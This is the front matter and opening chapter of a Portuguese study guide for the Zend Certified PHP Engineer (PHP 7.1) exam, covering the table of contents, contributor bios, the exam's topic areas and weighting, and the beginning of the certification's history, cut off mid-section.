Você está na página 1de 356

Preparatório para a certificação PHP

Guia de estudos para o exame Zend Certified Engineer


2017-PHP (PHP 7.1)

Ari Stopassola Junior


Esse livro está à venda em http://leanpub.com/certificacaophp

Essa versão foi publicada em 2018-01-12

Esse é um livro Leanpub. A Leanpub dá poderes aos autores e editores a partir do processo de
Publicação Lean. Publicação Lean é a ação de publicar um ebook em desenvolvimento com
ferramentas leves e muitas iterações para conseguir feedbacks dos leitores, pivotar até que você
tenha o livro ideal e então conseguir tração.

© 2015 - 2018 Ari Stopassola Junior


Dedico esse livro para a minha família: meus pais Ari e Laci, meus irmãos Ariel e Ariane. Dedico
também à minha esposa Paloma e meu filho Ari Stopassola Neto, que os amo tanto.
Conteúdo

Autoria . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1
Autor . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1
Revisor técnico . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2
Revisor adjunto . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3
Capa . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4

Introdução . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5
Sobre o guia . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9
Histórico . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10
Vantagens . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15
Por quê fazer o preparatório? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18
Estatísticas . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19
Formato . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19
Acessibilidade . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22
Navegação e revisão . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22
Compra . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 24
Agendamento . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 26
Reagendamento . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 31
Dia da prova . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 31
O que NÃO cai no teste . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 32
Tecnologias relacionadas . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 32
Questões de simulado . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 33
Armadilhas . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 33
Polêmicas . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 36
Outras certificações PHP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 36
Término do exame . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 37
Se falhar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 37
Aprovado . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 40
Objetivo . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 42
Atualizando a certificação . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 45
Configurações de ambiente consideradas no exame . . . . . . . . . . . . . . . . . . . . . 45
Perguntas com enunciados ou alternativas iguais . . . . . . . . . . . . . . . . . . . . . . 46
Notações utilizadas neste guia . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 47
CONTEÚDO

Quiz . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 48
Sugestões, críticas, ideias e erratas . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 48

Fundamentos do PHP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 49
Sintaxe . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 51
Operadores . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 53
Operadores binários (bitwise operators) . . . . . . . . . . . . . . . . . . . . . . . . . . . 58
Variáveis e “variáveis variáveis” . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 67
Constantes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 69
Constantes mágicas . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 70
Expressões em constantes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 71
Visibilidade em constantes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 72
Tipos de dados . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 72
Type Juggling . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 74
Declaração de tipos de dados de retorno . . . . . . . . . . . . . . . . . . . . . . . . . . . 77
Indução de tipos escalares . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 79
Tipos nulos (Nullable types) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 80
Tipos vazios (void types) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 81
Delimitadores . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 82
Estruturas de controle . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 83
Construções da linguagem e funções . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 90
Namespaces . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 90
Extensões . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 95
Configuração . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 96
Performance com bytecode caching . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 97
Unicode . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 98
Simulado . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 99
Respostas do simulado . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 101

Funções . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 103
Argumentos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 103
Função variádica . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 105
Escopo das variáveis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 106
Passagem por referência . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 107
Retorno . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 108
Funções anônimas . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 109
Simulado . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 111
Respostas do simulado . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 113

Formatos e tipos de dados . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 116


Fundamentos do XML . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 116
SimpleXML . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 117
Extensão XML . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 120
CONTEÚDO

Web Services . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 121


SOAP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 122
REST . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 124
JSON . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 125
DateTime . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 128
Modelo de Objeto de Documento (Document Object Model - DOM) . . . . . . . . . . . . 130
Simulado . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 130
Respostas do simulado . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 132

Recursos Web . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 134


Sessões . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 134
Formulários . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 136
Métodos GET e POST . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 137
Cookies . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 139
Upload . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 142
Cabeçalhos HTTP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 145
Autenticação HTTP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 148
Simulado . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 149
Respostas do simulado . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 151

Programação Orientada à Objetos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 152


Definição de classe . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 152
Métodos e atributos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 153
Visibilidade . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 155
Instanciação . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 155
Sintaxe Uniforme de Variável . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 159
Herança . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 160
Sobrescrita de métodos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 161
Modificadores . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 162
Classes abstratas . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 163
Interfaces . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 165
Retro-compatibilidade . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 170
Exceções . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 172
Métodos e atributos estáticos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 174
Late Static Binding . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 177
Autocarga (Autoload) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 178
Reflexão . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 180
Indução de tipo (Type Hinting) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 182
Constantes de Classe . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 183
Métodos mágicos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 184
Padrões de Projetos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 189
MVC (Modelo-Visão-Controlador) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 192
SPL - Biblioteca Padrão do PHP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 192
CONTEÚDO

Generators . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 196
Traits . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 201
Closures . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 209
Classes anônimas . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 211
Simulado . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 211
Respostas do simulado . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 213

Segurança . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 216
Configuração . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 217
Segurança de Sessão . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 218
Cross-Site Scripting . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 218
Cross-Site Request Forgeries . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 220
SQL Injection . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 221
Remote Code Injection . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 223
Senhas . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 228
E-mail Injection . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 230
Filtragem de dados de entrada . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 233
Escapar saída de dados . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 234
Criptografia e Hashing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 235
Upload de arquivos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 236
Armazenamento . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 236
SSL . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 237
Simulado . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 237
Respostas do simulado . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 239

I/O (Entrada e Saída) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 241


Arquivos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 241
Leitura . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 242
Escrita . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 242
Operações em arquivos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 243
Streams . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 243
Contextos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 245
Simulado . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 246
Respostas do simulado . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 248

Strings e Padrões . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 250


Aspas (quoting) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 250
Comparação . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 250
Extração . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 252
Busca . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 253
Substituição . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 256
Formatação . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 258
PCRE . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 259
CONTEÚDO

HEREDOC e NOWDOC . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 265


Codificação . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 267
Simulado . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 268
Respostas do simulado . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 270

Banco de Dados . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 272


SQL . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 272
Junções (Joins) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 274
Normalização . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 281
Declarações preparadas . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 283
Transações . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 284
PDO . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 288
MySQLi (MySQL improved) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 299
Simulado . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 306
Respostas do simulado . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 309

Arrays . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 311
Arrays associativos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 311
Arrays enumerados . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 311
Iteração de arrays . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 316
Array multi-dimensional . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 317
Funções para tratamento de array . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 318
Desconstrução simétrica de array . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 323
SPL e Objetos como arrays . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 325
Array constante . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 326
Simulado . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 326
Respostas do simulado . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 328

Manipulação de erros . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 332


Exceções . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 334
Throwables . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 335
Captura agrupada de exceções . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 340
Simulado . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 341
Respostas do simulado . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 344

Recursos extras . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 346


Autoria
Autor

Bacharel em Informática com ênfase em Análise de


Sistemas (Unisinos), estudou na Universidade Técnica
de Lisboa (Portugal), é Zend Certified Engineer (PHP
5.3), Zend Certified PHP Engineer (PHP 5.5), Rogue
Wave Zend Certified Engineer 2017-PHP (PHP 7.1),
Zend Framework 2 Certified Architect (ZFCA), Certi-
fied ScrumMaster pela Scrum Alliance, Microsoft Cer-
tified Professional (MCP), idealizador do curso Certifi-
camp, consultor web e PHP evangelist.
Atualmente é discente de pós-graduação em Compu-
tação Forense & Perícia Digital, mantenedor do site
Perito.inf.br e criador do TopTrumPHPs - SuperTrunfo
de frameworks PHP.
Orgulho de participar ativamente na comunidade
“Rumo à Certificação PHP¹” e do PHP Rio Grande do
Ari Stopassola Junior
Sul².
Minhas redes sociais são:

• Facebook: http://facebook.com/arijunior/
• Twitter: @stopassola³
• LinkedIn: http://br.linkedin.com/in/stopassola/
• GitHub: https://github.com/stopassola

¹http://www.rumoacertificacaophp.com
²http://www.phprs.com.br
³https://twitter.com/stopassola
Autoria 2

Revisor técnico

Renato é um desenvolvedor que é apaixonado por Li-


nux, Web e qualidade de código, tenta sempre utilizar
diversas tecnologias disponíveis com um pouco de ins-
piração para desenvolver soluções criativas e confiáveis.
Acredita que interesse eclético em tecnologia é um
diferencial para que possamos desenvolver estas solu-
ções. Também apaixonado por certificações atualmente
é: ZCE, ZCPE, ZFCE, LPIC-1, LFCS, LFCE e algumas
outras.
Participo/organizo comunidades, como a PHPAmersfo-
ort⁴ e Rumo à Certificação PHP⁵. Também estou pre-
sente em diversas outras esporadicamente como PHPSP,
PHPDF, PHPNL, Symfony Devs, etc.
Renato Mendes Figueiredo Em open source é mantenedor to php-vcr⁶ e do Over-
blogGraphQLBundle⁷, além de contribuições em diver-
sos outros projetos.
Como palestrante tento o meu melhor para compartilhar aquilo que aprendi, e incentivar mais
pessoas à se desenvolverem a também ajudarem a comunidade, atualmente palestrei na Dutch PHP
Conference, PHP North West, SymfonyCamp UA e ScotlandPHP, além de diversos Meetups.
Minhas redes sociais são:

• Facebook: http://facebook.com/renatomefi/
• Twitter: @renatomefi⁸
• LinkedIn: https://linkedin.com/in/renatomefidf/en/
• GitHub: https://github.com/renatomefi
• joindin: https://joind.in/user/renatomefidf

⁴https://www.meetup.com/PHPAmersfoort
⁵http://www.rumoacertificacaophp.com
⁶https://github.com/php-vcr/php-vcr
⁷https://github.com/overblog/GraphQLBundle
⁸https://twitter.com/renatomefi
Autoria 3

Revisor adjunto

Técnico em Informática para Internet (CEPA), Tec-


nólogo em Análise e Desenvolvimento de Sistemas
(Anhanguera) e Pós-graduado em Banco de Dados
(WPOS).
Entusiasta das várias tecnologias abertas, como Linux,
PostgreSQL e PHP com Yii, sempre buscando conhecer
detalhadamente as camadas que compõem as aplicações
web para aproveitar o máximo das tecnologias.
Experiência no desenvolvimento de diversas aplicações
PHP com framework Yii desde 2011, bem como mode-
lagem, administração e migração de banco de dados.
Thiago Luís Moraes de Oliveira No momento, atua como sysadmin Linux/Windows no
Banco de Brasília, e nas horas vagas como desenvolve-
dor PHP independente.
Minhas redes sociais são:

• Linkedin: https://linkedin.com/in/thiagoluismo
• Github: https://github.com/thiagoluis
Autoria 4

Capa

Criação da capa feita pelo publicitário Wagner Ribeiro


http://www.wagnerribeiro.com.br.
Pode ser encontrado nas redes sociais através dos links:

• Facebook: https://www.facebook.com/wagner.ribeiro.
guitar
• Vimeo: https://vimeo.com/wagnerribeiro
• Twitter: https://twitter.com/wrguitarrista
• Instagram: https://www.instagram.com/wagner.
guitar

Wagner Ribeiro
Introdução
Com a popularidade do PHP em todo o mundo, cada vez mais empresas procuram formas de
identificar indivíduos com conhecimento comprovado. A certificação oferecida pela Rogue Wave
Zend Technologies Inc. reconhece os profissionais de TI com as habilidades e o conhecimento técnico
necessários para projetar e implementar aplicações web na linguagem PHP.
Esse guia propõe estratégias de como responder as questões do exame para tornar-se um Rogue
Wave Zend Certified PHP Engineer, exame 200-710 baseado no PHP 7.1. Faremos análises de código
em questões de exemplo e abordaremos conceitos que vão lhe ajudar a melhorar seus conhecimentos
na linguagem e, consequentemente, sua pontuação no teste.
É uma compilação dos estudos que realizei para obtenção do título como Zend Certified Engineer
(PHP 5.3)⁹ em 2012 e Zend Certified PHP Engineer (PHP 5.5) em 2014 e Rogue Wave Zend Certified
PHP Engineer (PHP 7.1) em 2017, com anotações que me foram cruciais para o êxito na prova,
inspirado no material oficial da Zend.
A jornada rumo à certificação PHP trata-se de um desafio pessoal, portanto meu papel será de
coaching nesse caminho.
O questionário apresentado no teste aborda 11 grandes áreas e seus respectivos sub-tópicos:
Fundamentos do PHP

• Sintaxe
• Operadores
• Variáveis
• Constantes
• Estruturas de controle
• Construções da linguagem e funções
• Namespaces
• Extensões
• Configuração
• Performance/bytecode caching

Funções

• Sintaxe e funções variáveis


• Argumentos
⁹http://www.zend.com/en/yellow-pages/ZEND004019
Introdução 6

• Passagem por referência


• Retorno
• Escopo de variáveis
• Funções anônimas (closures ou lambdas)

Formato de dados e tipos

• Fundamentos do XML
• SimpleXML
• Extensão XML
• WebServices
• SOAP
• JSON
• DateTime
• DOMDocument

Recursos Web

• Sessões
• Formulários
• Métodos GET e POST
• Cookies
• Cabeçalhos HTTP
• Autenticação HTTP
• Códigos de status HTTP

Programação Orientada à Objetos

• Definição de classe
• Atributos
• Métodos
• Visibilidade
• Modificadores
• Instanciação
• Herança
• Interfaces
• Exceções
• Autocarga (Autoload)
• Reflexão
Introdução 7

• Type Hinting (indução de tipo)


• Constantes de Classe
• Late Static Binding
• Métodos mágicos (_*)
• Padrões de Projetos
• SPL
• Traits

Segurança

• Configuração
• Segurança de Sessão
• Cross-Site Scripting
• Cross-Site Request Forgeries
• SQL Injection
• Remote Code Injection
• Email Injection
• Filter Input
• Escape Output
• Criptografia e algoritmos Hashing
• Upload de arquivos
• Configuração PHP
• API para hashing de senha

I/O (Entrada e Saída)

• Arquivos
• Leitura
• Escrita
• Funções de sistema de arquivos
• Streams
• Contextos

Strings e Padrões

• Aspas (quoting)
• Comparação
• Extração
• Busca
Introdução 8

• Substituição
• Formatação
• PCRE
• HEREDOC e NOWDOC
• Codificação

Banco de Dados

• SQL
• Joins
• Declarações preparadas
• Transações
• PDO

Arrays

• Arrays associativos
• Iteração de arrays
• Funções para tratamento de array
• SPL e Objetos como arrays
• Conversões

Manipulação de erros

• Tratamento de exceções
• Erros
• Throwables

As questões são distribuídas nas onze áreas, tentando contemplar o máximo possível de sub-tópicos.
A filosofia da certificação consiste em não apenas passar no exame, mas é o reconhecimento das
habilidades técnicas que demonstra a capacidade em resolver problemas.
A aprovação no teste facilita a função de recrutadores/empregadores, pois atesta que o profissional
tem proficiência na linguagem e experiência em desenvolvimento web como um todo.
Alguns assuntos tem mais peso que outros:
Ênfase maior
Fundamentos do PHP, Segurança e Programação Orientada à Objetos
Ênfase média
Funções, Recursos Web, Arrays e Strings e Padrões
Ênfase baixa
Banco de Dados, Manipulação de erros, Formato de dados e tipos e I/O (Entrada e Saída)
Introdução 9

Sobre o guia
O guia traz anotações gerais sobre o teste, portanto não é um curso completo de PHP – embora
sejam abordados assuntos do básico ao avançado.
Este livro é um roteiro de estudos, um guia preparatório.
A proposta do livro é traçar estratégias para melhorar a realização da prova e aprofundar tópicos
que se apresentam frequentemente no exame.
Daremos ênfase em questões complexas e como lidar com elas.
Como não seria viável cobrir cada detalhe da linguagem (das aproximadamente 5 mil funções e
respectivos parâmetros) iremos trabalhar questões que combinam diversos conceitos, analisar os
detalhes e armadilhas. O importante é compreender a lógica empregada.
Não há como garantir 100% de cobertura, pois o conjunto de funções é gigantesco. Consciente disso,
a Zend dá ênfase nas situações mais significativas.
Pressuponho que você já conheça a linguagem, que possua preferencialmente conhecimentos em
nível intermediário e avançado. Pois considero fundamental conciliar seus estudos com 1 a 3 anos
de experiência em programação PHP (dependendo da intensidade).
Considero esse livro como um curso preparatório para o exame que vai lhe auxiliar a obter um
melhor score no teste, portanto iremos rever conceitos do básico ao avançado, abordando também
situações peculiares e inusitadas.
Minha pretensão não é ensinar a linguagem em seus pormenores, partindo de conceitos pedago-
gicamente simples e evoluindo. Iremos tratar de inúmeros conceitos de forma pontual (a partir de
exemplos) com um leve encadeamento entre um tópico e outro.
É um livro independente, sem vínculo com a Zend (portanto não oficial). Lembrando que a Rogue
Wave Zend Technologies Inc. é a empresa mantenedora da linguagem PHP: http://www.zend.com
Outra característica do livro é que procuro utilizar exemplos do cotidiano, evitando expressões como
“foo bar apples oranges” ou algoritmos envolvendo zumbis.
Caso você queira aprender a linguagem PHP em toda sua magnitude, recomendo outros títulos como,
por exemplo, o excelente livro “PHP Programando com Orientação a Objetos - 3ª edição¹⁰” do autor
Pablo Dall’Oglio.
Uma dica crucial: não subestime a prova! O exame é um teste sério e merece toda a atenção. Ler
esse livro irá aumentar significativamente as suas chances de ser aprovado. Não posso garantir que
irá inexoravelmente ocorrer, mas você certamente vai melhorar drasticamente o seu resultado no
teste absorvendo todas as dicas abordadas aqui.
Você pode pular os capítulos e partir para os assuntos de maior interesse ou daqueles que você possua
um certo “débito técnico” (como dizem os adeptos das metodologias ágeis de desenvolvimento de
¹⁰http://www.novatec.com.br/livros/php-orientacao-objetos-3ed/
Introdução 10

software). Honestamente recomendo que você siga a ordem apresentada aqui e faça sistematica-
mente os simulados das lições no final de cada capítulo.
Espero, sinceramente, que este documento seja o seu passaporte como Engenheiro Certificado Zend
e torço para que você conquiste essa consagração muito em breve.
Você adquiriu este documento com exclusividade antes da versão final, portanto ela é suscetível a
bugs. Certamente irão ocorrer melhorias no texto no decorrer das próximas semanas, sendo que a
cada nova compilação faremos o devido anúncio nas redes sociais. O próprio LeanPub alerta sobre
novas releases.
Versão: 0.9.

Histórico
Abaixo faremos um resgate histórico com as principais mudanças ocorridas nos exames ZCE/ZCPE
(desde a sua criação) e algumas características:

Certificação baseada no PHP 4 - lançada em 2004

Anunciada na Open Source Convention (OSCON) em julho de 2004:

• Baseada no PHP 4;
• Essa certificação extinguiu-se no fim de 2006, embora é importante frisar que o título “Zend
Certified Engineer” NÃO expira;
• Gerou mais de mil ZCEs em dois anos.
Introdução 11

Certificação baseada no PHP 5.1

Anunciada na php|works em setembro de 2005 - PHP 5 certification premieres:

• Baseada no PHP 5.1;


• Exame totalmente reformulado;
• Conteúdos revisados, incluídos e incrementados. Ex.: Orientação à Objetos, Web Services e
Segurança;
• Alguns tópicos foram removidos;
• Concedeu o título à mais de 6 mil ZCEs.
Introdução 12

Certificação baseada no PHP 5.3

Lançada em 2010 e baseada na versão 5.3 do PHP, ficou disponível até o fim de 2013:

